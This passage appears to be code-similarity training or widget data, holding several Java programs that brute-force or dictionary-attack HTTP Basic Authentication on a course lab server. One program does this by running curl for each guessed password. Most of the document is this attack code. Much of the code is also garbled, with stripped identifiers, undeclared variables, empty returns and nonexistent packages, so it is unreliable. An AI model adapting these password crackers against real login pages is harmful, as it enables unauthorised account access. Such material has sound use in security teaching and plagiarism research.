|
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\ |
|
|
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\ |
|
|
\ {\n return startTime;\n }\n\n public void setTotalTime( int\ |
|
|
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\ |
|
|
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\ |
|
|
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\ |
|
|
} \n" |
|
|
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\ |
|
|
\ java.util.*;\n\npublic class BruteForce {\n public static void main (String[]\ |
|
|
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\ |
|
|
\ InputStreamReader(System.in));\n\n int start = new Date().getTime();\n\ |
|
|
\ String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"\ |
|
|
e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\"\ |
|
|
,\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"\ |
|
|
o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"\ |
|
|
U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n\ |
|
|
\ int len = 52;\n int total = 52;\n String[] cad = new String[total];\n\ |
|
|
\ int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\ |
|
|
\t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\ |
|
|
\t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\ |
|
|
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \ |
|
|
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \ |
|
|
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\ |
|
|
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\ |
|
|
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\ |
|
|
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \ |
|
|
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \ |
|
|
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\ |
|
|
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\ |
|
|
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\ |
|
|
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\ |
|
|
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\ |
|
|
\ System.out.println(\"The successful password was \"+cad[t]);\n \ |
|
|
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\ |
|
|
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\ |
|
|
\n" |
|
|
sentences: |
|
|
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\ |
|
|
\ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \ |
|
|
\ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\ |
|
|
\ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\ |
|
|
\ {\n return success;\n }\n \n\t\n public void setPageContents\ |
|
|
\ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \ |
|
|
\ public String getPageContents()\n {\n return pageContents;\n }\n\ |
|
|
} \n" |
|
|
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\ |
|
|
\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\ |
|
|
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\ |
|
|
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\ |
|
|
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\ |
|
|
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\ |
|
|
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\ |
|
|
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\ |
|
|
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\ |
|
|
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\ |
|
|
\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \ |
|
|
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\ |
|
|
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\ |
|
|
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\ |
|
|
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\ |
|
|
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\ |
|
|
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\ |
|
|
\ \n for( i = 0; i < letters.length; i++)\n {\n String\ |
|
|
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\ |
|
|
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \ |
|
|
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\ |
|
|
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\ |
|
|
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\ |
|
|
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\ |
|
|
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\ |
|
|
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\ |
|
|
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\ |
|
|
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\ |
|
|
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\ |
|
|
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \ |
|
|
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\ |
|
|
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\ |
|
|
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\ |
|
|
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\ |
|
|
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\ |
|
|
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\ |
|
|
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\ |
|
|
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\ |
|
|
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\ |
|
|
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \ |
|
|
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\ |
|
|
\ }\n }\n \n public static void main( String[] args)\n {\n\ |
|
|
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\ |
|
|
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\ |
|
|
\ elements loaded\");\n }\n}\n \n" |
|
|
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.String;\nimport java.*;\n\ |
|
|
import java.util.*;\n\npublic class BruteForce {\n private static final int passwdLength\ |
|
|
\ = 3; \n private static String commandLine\n = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\ |
|
|
\ -I -u :\";\n private String chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
|
;\n private int charLen = chars.length(); \n private int n = 0; \ |
|
|
\ \n private int n3 = charLen*charLen*charLen; \ |
|
|
\ \n private String response;\n private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];\n\ |
|
|
\ private char[][] data = new char[passwdLength][charLen];\n private char[]\ |
|
|
\ pwdChar2 = new char[2];\n private char[] pwdChar = new char[passwdLength];\n\ |
|
|
\ private String url;\n private int startTime;\n private int endTime;\n private\ |
|
|
\ int totalTime;\n private float averageTime;\n private boolean finish;\n private\ |
|
|
\ Process curl;\n private BufferedReader bf, responseLine;\n\n public BruteForce()\ |
|
|
\ {\n\n first();\n finish = true;\n charLen = chars.length();\n for(int i=0;\ |
|
|
\ i<charLen; i++)\n for(int j=0; j<passwdLength; j++)\n {\n data[j][i]\ |
|
|
\ = chars.charAt(i);\n }\n Runtime run = Runtime.getRuntime();\n n = 0;\n\n\ |
|
|
\ \n for(int i=0; i<charLen; i++)\n {\n password[n++] = chars.substring(i,i+1);\n\ |
|
|
\ }\n\n \n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen; k++)\n\ |
|
|
\ {\n pwdChar2[0] = data[0][j];\n pwdChar2[1] = data[1][k];\n\ |
|
|
\ password[n++] = String.copyValueOf(pwdChar2);\n }\n\n \n for(int\ |
|
|
\ i=0; i<charLen; i++)\n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen;\ |
|
|
\ k++)\n {\n pwdChar[0] = data[0][i];\n pwdChar[1] = data[1][j];\n\ |
|
|
\ pwdChar[2] = data[2][k];\n password[n++] = String.copyValueOf(pwdChar);\n\ |
|
|
\ }\n n = 0;\n startTime = new Date().getTime(); \n try {\n while(true)\ |
|
|
\ {\n url = commandLine+password[n++];\n if(n>=n3) {\n System.out.println(\"\ |
|
|
\\n not find the password for user .\");\n finish = false;\n break;\n\ |
|
|
\ }\n curl = run.exec(url); \n responseLine = new BufferedReader(new\ |
|
|
\ InputStreamReader(curl.getInputStream()));\n response = responseLine.readLine();\n\ |
|
|
\ \n \n if(response.substring(9,12).equals(\"200\")) break;\n responseLine\ |
|
|
\ = null;\n }\n }\n catch(IOException ioe){\n System.out.println(\"\\n\ |
|
|
\ IO Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\ |
|
|
\ System.out.println(\"The current trying password is:\"+password[n-1]);\n\ |
|
|
\ finish=false;\n }\n\n endTime = new Date().getTime(); \n totalTime\ |
|
|
\ = (endTime-startTime)/1000;\n System.out.println(\" The response time is:\"\ |
|
|
+ totalTime + \" seconds\\n\");\n if(finish) {\n System.out.println(\" \ |
|
|
\ The password for is:\"+ password[n-1]);\n try {\n savePassword(password[n-1],\ |
|
|
\ totalTime);\n }\n catch (IOException ioec) {\n System.out.println(\"\ |
|
|
\ not save the password file BruteForce_pwd.txt \");\n }\n }\n }\n\n public\ |
|
|
\ void first() {\n\n System.out.println(\"\\n\\n---------------------------------------------------------------\"\ |
|
|
);\n System.out.println(\" Use curl command Brute Force the password for\ |
|
|
\ user .\");\n System.out.println(\" Attention: curl should able run at\ |
|
|
\ your directory\");\n System.out.println(\" without setting the Path\ |
|
|
\ for it.\");\n System.out.println(\"---------------------------------------------------------------\"\ |
|
|
);\n }\n\n\n public void savePassword(String passwdString, int time) throws\ |
|
|
\ IOException {\n DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(\"\ |
|
|
BruteForce_pwd.txt\"));\n outputStream.writeChars(\"The password is:\");\n outputStream.writeChars(passwdString+\"\ |
|
|
\\n\");\n outputStream.writeChars(\"The response time is: \");\n outputStream.writeChars(time1.toString(time));\n\ |
|
|
\ outputStream.writeChars(\" seconds\\n\");\n outputStream.close();\n }\n\n\ |
|
|
\ public static void main(String[] args) {\n new BruteForce();\n } \n}\n" |
|
|
- source_sentence: "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic\ |
|
|
\ class BruteForce\n{\n public static void main(String[] args) throws Exception\n\ |
|
|
\ {\n \n String password = checkPassword(); \n\n System.out.println(\"\ |
|
|
Congratulations Your password is \"+ password );\n \n \n\n URL\ |
|
|
\ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\ |
|
|
\ sec = (HttpURLConnection)url.openConnection();\n sec.setRequestProperty(\"\ |
|
|
Authorization\", \" \" + encode(\":\"+password));\n BufferedReader in = new\ |
|
|
\ BufferedReader(new InputStreamReader(sec.getInputStream()));\n String inputLine;\n\ |
|
|
\n while ((inputLine = in.readLine()) != null)\n System.out.println(inputLine);\n\ |
|
|
\ in.close();\n }\n\n \n\n private static String checkPassword() throws\ |
|
|
\ Exception\n {\n String Password=\" \";\n int attempt=0;\n URL\ |
|
|
\ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\ |
|
|
\ sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\"\ |
|
|
,\"i\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"o\",\"p\",\"q\"\ |
|
|
,\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\n \ |
|
|
\ \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ |
|
|
M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"\ |
|
|
V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i < cad.length; i++)\n \ |
|
|
\ {\n for (int j=0; j< cad.length;j++)\n {\n for\ |
|
|
\ (int k=0; k<cad.length;k++)\n {\n attempt++;\n \ |
|
|
\ String Passwd = new String(cad[i]+cad[j]+cad[k]);\n \ |
|
|
\ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\ |
|
|
\ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\ |
|
|
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\ |
|
|
\n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \ |
|
|
\ {\n Password=Passwd;\n return Password;\n\ |
|
|
\ }\n sec.disconnect();\n } \n \ |
|
|
\ } \n } \n return \"Password not found\";\n }\n\n private static\ |
|
|
\ String encode(String userPasswd) throws Exception\n {\n String ad;\n\ |
|
|
\ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\ |
|
|
\ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\ |
|
|
/usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\ |
|
|
\ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\ |
|
|
\ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \ |
|
|
\ return encodedUserPasswd;\n }\n}\n\n" |
|
|
sentences: |
|
|
- "import java.io.*;\n\npublic class ReadDictionary {\n\tprivate BufferedReader\ |
|
|
\ bf;\n\tprivate String line=\"\";\n\n public static void main (String argv[])\ |
|
|
\ throws Exception { \n ReadDictionary rd=new ReadDictionary();\n\t rd.openFile();\n\ |
|
|
\t for (int inx=0; inx<800 ;inx++ )\n\t {\n\t \tSystem.out.println(inx + \"\ |
|
|
\ \" + rd.readLine() );\n\t }\n } \n\t \n \n\n\tpublic void openFile()\n\ |
|
|
\t{\n\t\ttry\n\t\t{\n\t\t\tsetBr(new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\ |
|
|
)));\n\n\t\t}catch(IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\ |
|
|
\t\t}\n\t}\n\n\tpublic String readLine()\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t\ |
|
|
{\n\t\t\t\tline = bf.readLine();\n\t\t\t}while (line != null && line.length()\ |
|
|
\ >3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\ |
|
|
\t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\ |
|
|
\t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t\ |
|
|
{\n\t\tthis.bf = bf;\n\t}\n}\n" |
|
|
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\nimport\ |
|
|
\ java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\ |
|
|
import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\ |
|
|
\ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\ |
|
|
\ void main(String[] args) throws Exception {\n String pass;\n int\ |
|
|
\ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\ |
|
|
\ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\ |
|
|
\n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\ |
|
|
\ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\ |
|
|
\ while (!flag)\n {\n try{\n line = reader.readLine();\n\ |
|
|
\ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
|
);\n URLConnection yc = url.openConnection();\n pass\ |
|
|
\ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\ |
|
|
\ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \ |
|
|
\ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\ |
|
|
\ String inputLine;\n while ((inputLine = in.readLine())\ |
|
|
\ != null)\n System.out.println(inputLine);\n \ |
|
|
\ in.close();\n System.out.println(pass);\n flag=true;\n\ |
|
|
\ System.out.println(System.currentTimeMillis()/1000); \n \ |
|
|
\ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\ |
|
|
\ }catch(IOException e){\n \n }\n \ |
|
|
\ } \n }catch(FileNotFoundException e){\n System.out.println(\"\ |
|
|
File not found\");\n\n }\n }\n}" |
|
|
- "import java.io.*;\nimport java.util.Date;\n\n\n\n\n\nimport java.jscape.inet.http.*;\ |
|
|
\ \n\n\n\n\n\n\n\nclass BruteForce\n{\n public static void main (String args[])\ |
|
|
\ throws Exception\n {\n String username = \"\";\n byte asciiLower[]\ |
|
|
\ = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};\n\ |
|
|
\ byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};\ |
|
|
\ \n \n int errorMessage = 401;\n int firstPosition = 0;\n int\ |
|
|
\ secondPosition = 0;\n int thirdPosition = 0; \n int number = 1;\n\ |
|
|
\ int attempts = 0;\n \n Http http = new Http();\n HttpRequest\ |
|
|
\ request = new HttpRequest (\"http://sec-crack.cs.rmit.edu./SEC/2/\" );\n \ |
|
|
\ Date startDate = new Date(); \n \n \n \n for(firstPosition\ |
|
|
\ = 0; firstPosition < 26; firstPosition++)\n {\n String one = new\ |
|
|
\ String (asciiLower, firstPosition, number);\n String password = one;\n\ |
|
|
\ request.setBasicAuthentication(username,password);\n HttpResponse\ |
|
|
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ |
|
|
\ System.out.println(errorMessage);\n System.out.println(password);\n\ |
|
|
\ attempts++;\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n\n \n\n if (errorMessage == 401)\n {\n for(firstPosition\ |
|
|
\ = 0; firstPosition < 26; firstPosition++)\n {\n String one\ |
|
|
\ = new String (asciiUpper, firstPosition, number);\n String password\ |
|
|
\ = one;\n request.setBasicAuthentication(username,password);\n \ |
|
|
\ HttpResponse response = http.getResponse(request);\n errorMessage\ |
|
|
\ = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n \ |
|
|
\ if (errorMessage == 200)\n break;\n }\n }\n\n\ |
|
|
\ \n\n if (errorMessage == 401)\n {\n for (firstPosition\ |
|
|
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ |
|
|
\ = 0; secondPosition < 26; secondPosition++)\n {\n String\ |
|
|
\ one = new String(asciiLower, firstPosition,number);\n String two\ |
|
|
\ = new String (asciiLower, secondPosition, number);\n String password\ |
|
|
\ = one + two;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n \ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n }\n\ |
|
|
\ } \n\n \n\n if (errorMessage == 401)\n { \n for\ |
|
|
\ (firstPosition = 0; firstPosition < 26; firstPosition ++)\n { \n \ |
|
|
\ for(secondPosition = 0; secondPosition < 26; secondPosition++)\n \ |
|
|
\ {\n String one = new String(asciiUpper, firstPosition,number);\n\ |
|
|
\ String two = new String (asciiUpper, secondPosition, number);\n\ |
|
|
\ String password = one + two;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n \ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n }\n\ |
|
|
\ }\n\n \n\n if(errorMessage == 401)\n {\n for (firstPosition\ |
|
|
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ |
|
|
\ = 0; secondPosition < 26; secondPosition++)\n {\n String\ |
|
|
\ one = new String(asciiUpper, firstPosition,number);\n String two\ |
|
|
\ = new String (asciiLower, secondPosition, number);\n String password\ |
|
|
\ = one + two;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n \ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n }\n\ |
|
|
\ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\ |
|
|
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ |
|
|
\ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\ |
|
|
\ = 0; thirdPosition <26; thirdPosition++)\n { \n \ |
|
|
\ String one = new String(asciiLower, firstPosition,number);\n \ |
|
|
\ String two = new String (asciiLower, secondPosition, number);\n \ |
|
|
\ String three = new String (asciiLower, thirdPosition, number); \n\ |
|
|
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n\ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ } \n }\n\n \n\n if (errorMessage == 401)\n \ |
|
|
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\ |
|
|
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ |
|
|
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\ |
|
|
\ { \n String one = new String(asciiUpper, firstPosition,number);\n\ |
|
|
\ String two = new String (asciiUpper, secondPosition, number);\n\ |
|
|
\ String three = new String (asciiUpper, thirdPosition, number);\ |
|
|
\ \n String password = one + two + three;\n \ |
|
|
\ request.setBasicAuthentication(username,password);\n HttpResponse\ |
|
|
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ |
|
|
\ System.out.println(errorMessage);\n System.out.println(password);\n\ |
|
|
\ attempts++;\n if (errorMessage == 200)\n \ |
|
|
\ break;\n }\n if (errorMessage\ |
|
|
\ == 200)\n break;\n }\n if (errorMessage\ |
|
|
\ == 200)\n break;\n } \n }\n\n\n \n\n \ |
|
|
\ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\ |
|
|
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\ |
|
|
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\ |
|
|
\ thirdPosition <26; thirdPosition++)\n { \n String\ |
|
|
\ one = new String(asciiUpper, firstPosition,number);\n String\ |
|
|
\ two = new String (asciiLower, secondPosition, number);\n String\ |
|
|
\ three = new String (asciiLower, thirdPosition, number); \n \ |
|
|
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n\ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ } \n }\n\n \n\n if (errorMessage == 401)\n \ |
|
|
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\ |
|
|
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ |
|
|
\ {\n String one = new String(asciiLower, firstPosition,number);\n\ |
|
|
\ String two = new String (asciiUpper, secondPosition, number);\n\ |
|
|
\ String password = one + two;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n \ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n }\n\ |
|
|
\ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\ |
|
|
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ |
|
|
\ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\ |
|
|
\ = 0; thirdPosition <26; thirdPosition++)\n { \n \ |
|
|
\ String one = new String(asciiLower, firstPosition,number);\n \ |
|
|
\ String two = new String (asciiLower, secondPosition, number);\n \ |
|
|
\ String three = new String (asciiUpper, thirdPosition, number); \n\ |
|
|
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n\ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ } \n if (errorMessage == 200)\n \ |
|
|
\ break; \n }\n if (errorMessage == 200)\n \ |
|
|
\ break;\n }\n }\n\n \n\n if (errorMessage ==\ |
|
|
\ 401)\n {\n for (firstPosition = 0; firstPosition < 26; firstPosition\ |
|
|
\ ++)\n { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ |
|
|
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\ |
|
|
\ { \n String one = new String(asciiLower, firstPosition,number);\n\ |
|
|
\ String two = new String (asciiUpper, secondPosition, number);\n\ |
|
|
\ String three = new String (asciiUpper, thirdPosition, number);\ |
|
|
\ \n String password = one + two + three;\n \ |
|
|
\ request.setBasicAuthentication(username,password);\n HttpResponse\ |
|
|
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ |
|
|
\ System.out.println(errorMessage);\n System.out.println(password);\n\ |
|
|
\ attempts++;\n if (errorMessage == 200)\n \ |
|
|
\ break;\n } \n if (errorMessage\ |
|
|
\ == 200)\n break; \n }\n if (errorMessage\ |
|
|
\ == 200)\n break;\n }\n }\n\n \n\n \ |
|
|
\ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\ |
|
|
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\ |
|
|
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\ |
|
|
\ thirdPosition <26; thirdPosition++)\n { \n String\ |
|
|
\ one = new String(asciiLower, firstPosition,number);\n String\ |
|
|
\ two = new String (asciiUpper, secondPosition, number);\n String\ |
|
|
\ three = new String (asciiLower, thirdPosition, number); \n \ |
|
|
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n\ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n }\n\n \n \n if (errorMessage == 401)\n \ |
|
|
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\ |
|
|
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ |
|
|
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\ |
|
|
\ { \n String one = new String(asciiUpper, firstPosition,number);\n\ |
|
|
\ String two = new String (asciiUpper, secondPosition, number);\n\ |
|
|
\ String three = new String (asciiLower, thirdPosition, number);\ |
|
|
\ \n String password = one + two + three;\n \ |
|
|
